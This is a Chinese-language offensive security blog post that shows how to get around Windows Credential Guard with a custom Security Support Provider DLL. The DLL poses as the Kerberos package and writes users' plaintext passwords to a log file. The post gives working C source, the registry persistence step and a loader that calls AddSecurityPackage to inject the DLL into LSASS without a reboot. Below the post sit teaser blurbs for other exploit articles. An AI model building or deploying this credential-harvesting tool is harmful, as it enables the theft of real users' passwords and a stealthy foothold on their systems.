实战 | 绕过自定义SSP的凭证保护抓取密码

VSole2023-02-08 15:58:32

0. 背景

为了避免攻击者转储用户的凭据信息,从 Windows 10 1507 企业版和 Windows Server 2016 开始,微软引入了 Windows Defender Credential Guard 安全控制机制,其使用基于虚拟化的安全性来隔离机密,依次保护 NTLM 密码哈希、Kerberos TGT 票据和应用程序存储为域凭据的凭据来防止凭据盗窃、哈希传递或票据传递等攻击。

在 Windows 10 之前,LSA 将操作系统所使用的密码存储在其进程内存中。启用 Windows Defender Credential Guard 后,操作系统中的 LSA 进程与存储和保护这些密钥的新组件(称为隔离的 LSA 进程,Isolated LSA Process)进行通信。独立 LSA 进程存储的数据使用基于虚拟化的安全性进行保护,操作系统的其余部分无法访问。LSA 使用远程过程调用来与隔离的 LSA 进程进行通信。

下图简要概述了如何使用基于虚拟化的安全性来隔离 LSA:

Source:How Credential Guard works

如果我们在启用了 Credential Guard 的系统上尝试使用 Mimikatz 从 LSASS 进程内存中提取凭证,我们会观察到以下结果。

如上图所示,我们无法从 LSASS 内存中提取任何凭据,NTLM 哈希处显示的是 “LSA Isolated Data: NtlmHash”。并且,即便已经通过修改注册表启用了 Wdigest,也依然获取不到任何明凭据。

为了进行比较,下图所示为不受 Credential Guard 保护的系统上的输出。

从 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H 开始,兼容系统默认已启用 Windows Defender Credential Guard。

1. 基础知识

1.1 自定义安全包

自定义安全包 API 支持组合开发自定义安全支持提供程序(SSP),后者为客户端/服务器应用程序提供非交互身份验证服务和安全消息交换,以及开发自定义身份验证包,为执行交互式身份验证的应用程序提供服务。这些服务在单个包中合并时称为安全支持提供程序/身份验证包(SSP/AP)。

SSP/AP 中部署的安全包与 LSA 完全集成。使用可用于自定义安全包的 LSA 支持函数,开发人员可以实现高级安全功能,例如令牌创建、 补充凭据支持和直通身份验证。

如果我们自定义安全支持提供程序/身份验证包(SSP/AP),并将其注册到系统,当用户重新进行交互式身份验证时,系统就会同通过我们自定义的 SSP/AP 传递明文凭据,这意味着我们可以提取到明文凭据并将其保存下来。这样便可以绕过 Credential Guard 的保护机制。

SSP/AP 安全包,为了同时执行身份验证包(AP)和安全支持提供程序(SSP),可以作为操作系统的一部分以及作为用户应用程序的一部分执行。这两种执行模式分别称为 LSA 模式和用户模式。这里我们需要的是 LSA 模式。

下面简单介绍一下关于 LSA 模式的初始化。

1.2 LSA 模式初始化

启动计算机系统后,本地安全机构(LSA)会自动将所有已注册的安全支持提供程序/身份验证包(SSP/AP)的 DLL 加载到其进程空间中,下图显示了初始化过程。

“Kerberos” 表示 Microsoft Kerberos SSP/AP,“My SSP/AP” 表示包含两个自定义安全包的自定义 SSP/AP。

启动时,LSA 调用每个 SSP/AP 中的 SpLsaModeInitialize() 函数,以获取指向 DLL 中每个安全包实现的函数的指针,函数指针以 SECPKG_FUNCTION_TABLE 结构数组的形式传递给 LSA。

收到一组 SECPKG_FUNCTION_TABLE 结构后,LSA 将调用每个安全包的 SpInitialize() 函数。LSA 使用此函数调用传递给每个安全包一个 LSA_SECPKG_FUNCTION_TABLE 结构,其中包含指向安全包调用的 LSA 函数的指针。除了存储指向 LSA 支持函数的指针外,自定义安全包还应使用 SpInitialize() 函数的实现来执行任何与初始化相关的处理。

在这里,我们的 SSP/AP 安全包需要实现下表中所示的几个函数。

由 SSP/AP 实现的函数说明SpInitialize执行初始化处理,并提供一个函数指针列表。SpShutDown在卸载 SSP/AP 之前执行所需的任何清理。SpGetInfo提供有关安全包的一般信息,例如其名称、描述和功能。SpAcceptCredentials将为经过身份验证的安全主体存储的凭据传递给安全包。

1.3 由 SSP/AP 实现的函数

以下函数由我们自定义的安全支持提供程序/身份验证包(SSP/AP)实现,本地安全机构(LSA)通过使用 SSP/AP 的 SpLsaModeInitialize 函数提供的 SECPKG_FUNCTION_TABLE 结构来访问这些函数。

SpInitialize

SpInitialize 函数由本地安全机构(LSA)调用一次,用于执行任何与初始化相关的处理,并提供一个函数指针列表,其中包含安全包调用的 LSA 函数的指针。

函数声明如下:

NTSTATUS Spinitializefn(
  [in] ULONG_PTR PackageId,
  [in] PSECPKG_PARAMETERS Parameters,
  [in] PLSA_SECPKG_FUNCTION_TABLE FunctionTable
);

参数如下:

  • • [in] PackageId:LSA 分配给每个安全包的唯一标识符。该值在重新启动系统之前有效。
  • • [in] Parameters:指向包含主域和计算机状态信息的 SECPKG_PARAMETERS 结构的指针。
  • • [in] FunctionTable:指向可以安全包调用的 LSA 函数的指针列表。

SpShutDown

SpShutDown 函数在卸载安全支持提供程序/身份验证包 (SSP/AP) 之前,由本地安全机构(LSA)调用,用于在卸载 SSP/AP 之前执行所需的任何清理,以便释放资源。

函数声明如下:

NTSTATUS SpShutDown(void);

这个函数没有参数。

SpGetInfo

SpGetInfo 函数提供有关安全包的一般信息,例如其名称和功能描述。客户端调用安全支持提供程序接口(SSPI)的 QuerySecurityPackageInfo 函数时,将调用 SpGetInfo 函数。

函数声明如下:

NTSTATUS Spgetinfofn(
  [out] PSecPkgInfo PackageInfo
);

参数如下:

  • • [out] PackageInfo:指向由本地安全机构(LSA)分配的 SecPkgInfo 结构的指针,必须由包填充。

SpAcceptCredentials

SpAcceptCredentials 函数由本地安全机构(LSA)调用,以将为经过身份验证的安全主体存储的任何凭据传递给安全包。为 LSA 存储的每组凭据调用一次此函数。

函数声明如下:

NTSTATUS Spacceptcredentialsfn(
  [in] SECURITY_LOGON_TYPE LogonType,
  [in] PUNICODE_STRING AccountName,
  [in] PSECPKG_PRIMARY_CRED PrimaryCredentials,
  [in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials
);

参数如下:

  • • [in] LogonType:指示登录类型的 SECURITY_LOGON_TYPE 值。
  • • [in] AccountName:指向存储登录帐户名称的 UNICODE_STRING 结构的指针。
  • • [in] PrimaryCredentials:指向包含登录凭据的 SECPKG_PRIMARY_CRED 结构的指针。
  • • [in] SupplementalCredentials:指向包含特定于包的补充凭据的 ECPKG_SUPPLEMENTAL_CRED 结构的指针。

2. 编程实现

通过 C/C++ 创建一个名为 CustSSP 的 DLL 项目,实现自定义 SSP/AP 包。由于篇幅限制,笔者仅提供关键代码部分。

#include "pch.h"
static SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = {
    {
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    _SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL
    }
};
NTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
    return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpShutDown(void)
{
    return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo)
{
    PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    PackageInfo->wVersion = 1;
    PackageInfo->wRPCID = SECPKG_ID_NONE;
    PackageInfo->cbMaxToken = 0;
    PackageInfo->Name = (SEC_WCHAR*)L"Kerberos";
    PackageInfo->Comment = (SEC_WCHAR*)L"Microsoft Kerberos V5.0";
    return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
    const wchar_t* LSA_LOGON_TYPE[] = {
        L"UndefinedLogonType",
        L"Unknown !",
        L"Interactive",
        L"Network",
        L"Batch",
        L"Service",
        L"Proxy",
        L"Unlock",
        L"NetworkCleartext",
        L"NewCredentials",
        L"RemoteInteractive",
        L"CachedInteractive",
        L"CachedRemoteInteractive",
        L"CachedUnlock",
    };
    FILE* logfile;
    if (_wfopen_s(&logfile, L"CustSSP.log", L"a") == 0)
    {
        SspLog(
            logfile,
            L">>>>================================================================="
            L"[+] Authentication Id : %u:%u (%08x:%08x)"
            L"[+] Logon Type        : %s"
            L"[+] User Name         : %wZ"
            L"[+] Domain            : %wZ"
            L"[+] Logon Server      : %wZ"
            L"[+] SID               : %s"
            L"[+] SSP Credential    : "
            L"\t* UserName    : %wZ"
            L"\t* Domain      : %wZ"
            L"\t* Password    : ",
            PrimaryCredentials->LogonId.HighPart,
            PrimaryCredentials->LogonId.LowPart,
            PrimaryCredentials->LogonId.HighPart,
            PrimaryCredentials->LogonId.LowPart,
            LSA_LOGON_TYPE[LogonType],
            AccountName,
            &PrimaryCredentials->DomainName,
            &PrimaryCredentials->LogonServer,
            SidToString(PrimaryCredentials->UserSid),
            &PrimaryCredentials->DownlevelName,
            &PrimaryCredentials->DomainName
        );
        SspLogPassword(logfile, &PrimaryCredentials->Password);
        SspLog(logfile, L"");
        fclose(logfile);
    }
    return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables)
{
    *PackageVersion = SECPKG_INTERFACE_VERSION;
    *ppTables = SecPkgFunctionTable;
    *pcTables = ARRAYSIZE(SecPkgFunctionTable);
    return STATUS_SUCCESS;
}

在 CustSSP 中,我们依次实现了 SpInitialize、SpShutDown、SpGetInfo 和 SpAcceptCredentials 函数,并定义了一个名为 SecPkgFunctionTable 的 SECPKG_FUNCTION_TABLE 结构,用于存储指向这些函数的指针。

之后,我们通过定义 .def 文件将 CustSSP 中定义的 SpLsaModeInitialize 函数导出,如下所示。该函数会被本地安全机构(LSA)调用一次,从而将 CustSSP 中实现的函数的指针提供给 LSA。

LIBRARY
EXPORTS
    SpLsaModeInitialize  = _SpLsaModeInitialize

3. 运行效果演示

将编译生成的 CustSSP.dll 置于 C:\Windows\System32 目录中,并将 “CustSSP” 添加到以下注册表值的数据中,如下图所示。

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages
通常,SSP/AP DLL 存储在 %SystemRoot%/System32 目录中。如果这是自定义 SSP/AP DLL 的路径,则不包括路径作为 DLL 名称的一部分。但是,如果 DLL 位于其他路径中,请在名称中包含 DLL 的完整路径。

当目标主机重新启动并进行交互式身份验证后,将在 C:\Windows\System32\CustSSP.log 中记录当前登录用户的明文密码,如下图所示。

成功利用该方法的条件是必须重新启动目标系统。因此只有启动计算机系统后,本地安全机构(LSA)才会自动将已注册的 SSP/AP 的 DLL 加载到其进程空间中。

然而,利用某些 Windows API,我们可以在不重启的情况下添加 SSP/AP。

4. 利用 AddSecurityPackage API 来加载 SSP/AP

AddSecurityPackage 是一个 SSPI 函数,用于将安全支持提供程序添加到提供程序列表中,该函数声明如下。

SECURITY_STATUS SEC_ENTRY AddSecurityPackageW(
  [in] LPSTR                     pszPackageName,
  [in] PSECURITY_PACKAGE_OPTIONS pOptions
);

参数如下:

  • • [in] pszPackageName:要添加的包的名称。
  • • [in] pOptions:指向 SECURITY_PACKAGE_OPTIONS 结构的指针,该结构指定有关安全包的其他信息。

通过 C/C++ 创建一个名为 AddSSP 的项目,其代码如下所示。

#define SECURITY_WIN32
#include 
#include 
#include 
#pragma comment(lib,"Secur32.lib")
int wmain(int argc, char** argv) {
    SECURITY_PACKAGE_OPTIONS option;
    option.Size = sizeof(option);
    option.Flags = 0;
    option.Type = SECPKG_OPTIONS_TYPE_LSA;
    option.SignatureSize = 0;
    option.Signature = NULL;
    
    // AddSecurityPackageW 默认在 System32 目录中搜索 CustSSP.dll
    if (AddSecurityPackageW((LPWSTR)L"CustSSP", &option) == SEC_E_OK)
    {
        wprintf(L"[*] Add security package successfully");
    }
}

编译并生成 AddSSP.exe 后,运行 AddSSP.exe 即可成功将 CustSSP.dll 添加到系统。需要注意的是,以上代码仅将 CustSSP 加载到 LSASS 进程中,系统重启后会失效,因此仍需将 “CustSSP” 添加到 Security Packages 注册表并将 CustSSP.dll 置于 C:\Windows\System32 目录中。

当用户输入用户名密码重新进行身份验证时,我们重新得到了他的明文密码,如下图所示。

函数调用指针
本作品采用《CC 协议》,转载必须注明作者和本文链接
关于堆喷堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。
目前的处理方法对于语句间的控制依赖处理过于粗糙,且并未指明语句对应的路径。并且在代码片重组的过程中存在暴力堆叠的问题,使不在同一控制范围内的语句彼此直接相邻,从而导致了路径不敏感。Design of SEVulDet下图展示了SEVulDet的训练阶段与检测阶段,训练阶段相较于检测阶段多了打标签这一环节。因此作者通过为PDG添加相应的叶子节点使其能够确定控制范围,避免了语义的缺失。
概述在windows系统上,涉及到内核对象的功能函数,都需要从应用层权限转换到内核层权限,然后再执行想要的内核函数,最终将函数结果返回给应用层。本文就是用OpenProcess函数来观察函数从应用层到内核层的整体调用流程。OpenProcess函数,根据指定的进程ID,返回进程句柄。NTSTATUS Status; //保存函数执行状态。OBJECT_ATTRIBUTES Obja; //待打开对象的对象属性。HANDLE Handle; //存储打开的句柄。CLIENT_ID ClientId; //进程、线程ID. dwDesiredAccess, //预打开进程并获取对应的权限。ObjectNamePresent = ARGUMENT_PRESENT ; //判断对象名称是否为空
关于堆栈ShellCode操作:基础理论002-利用fs寄存器寻找当前程序dll的入口:从动态运行的程序中定位所需dll003-寻找大兵LoadLibraryA:从定位到的dll中寻找所需函数地址004-被截断的shellCode:加解密,解决shellCode的零字截断问题
CET当前的实现方式非常无效,因为渲染器进程通常会被利用。不过该技术尚未在野外或公开利用被发现。伪对象中包含的每个虚拟函数称为vfgadget,负责执行一个小任务。一个典型的COOP有效载荷从一个充当COOP主要功能的基本vfgadget开始。我们在本文称之为Looper。验证CET的执行当收到一个涉及无效返回地址的Shadow Stack异常提示,就代表CET被启用了。
OpenSSL Project发布了安全补丁程序,以解决三个漏洞,两个拒绝服务漏洞以及不正确的SSLv2回滚保护问题。阅读咨询. 该问题的严重性被评为“中等”,它影响OpenSSL 版及更低版本。OpenSSL还解决了CipherUpdate中CVE-2021-23840的一个低严重性整数溢出漏洞,该漏洞可能被利用来导致崩溃。Trustwave的和Joel Luellwitz于2021年1月21日将该漏洞报告给OpenSSL Project。此问题影响使用OpenSSL 的服务器,该服务器容易受到SSL版本回滚攻击。
Win32k组件最初的设计和编写是完全建立的用户层上的,但是微软在 Windows NT 4.0 的改变中将 Win32k.sys 作为改变的一部分而引入,用以提升图形绘制性能并减少 Windows 应用程序的内存需求。窗口管理器(User)和图形设备接口(GDI)在极大程度上被移出客户端/服务端运行时子系统(CSRSS)并被落实在它自身的一个内核模块中。
莫过于去花之后替换进apk中,依然正常运行,这对汇编功底无疑是一种挑战。今天就献丑拿某流量第一的APK样本做一下IDA脚本一键去花指令分析。◆上IDA脚本,此代码为片段代码ARM64是ARM架构的64位版本。ARM64的调用约定定义了函数如何传递参数和返回结果。前八个浮点型参数通过寄存器V0至V7传递。这意味着如果函数修改了这些寄存器的值,那么它需要在返回前恢复它们的原始值。
EXP编写学习之绕过GS
2023-02-20 09:58:16
栈中的守护天使 :GSGS原理向栈内压入一个随机的DWORD值,这个随机数被称为canary ,IDA称为 Security Cookie。Security Cookie 放入 ebp前,并且data节中存放一个 Security Cookie的副本。栈中发生溢出时,Security Cookie首先被淹没,之后才是ebp和返回地址。函数返回之前,会添加一个Security Cookie验证操作,称为Security Check。检测到溢出时,系统将进入异常处理流程,函数不会正常返回,ret也不会被执行。函数使用无保护的关键字标记。缓冲区不是8字节类型 且 大小不大于4个字节。可以为函数强制启用GS。
shellcode编写探究
2022-06-09 15:34:57
前言shellcode是不依赖环境,放到任何地方都可以执行的机器码。shellcode的应用场景很多,本文不研究shellcode的具体应用,而只是研究编写一个shellcode需要掌握哪些知识。要使用字符串,需要使用字符数组。所以我们需要用到 LoadLibrary 和 GetProcAddress 这两个函数,来动态获取系统API的函数指针。
VSole
网络安全专家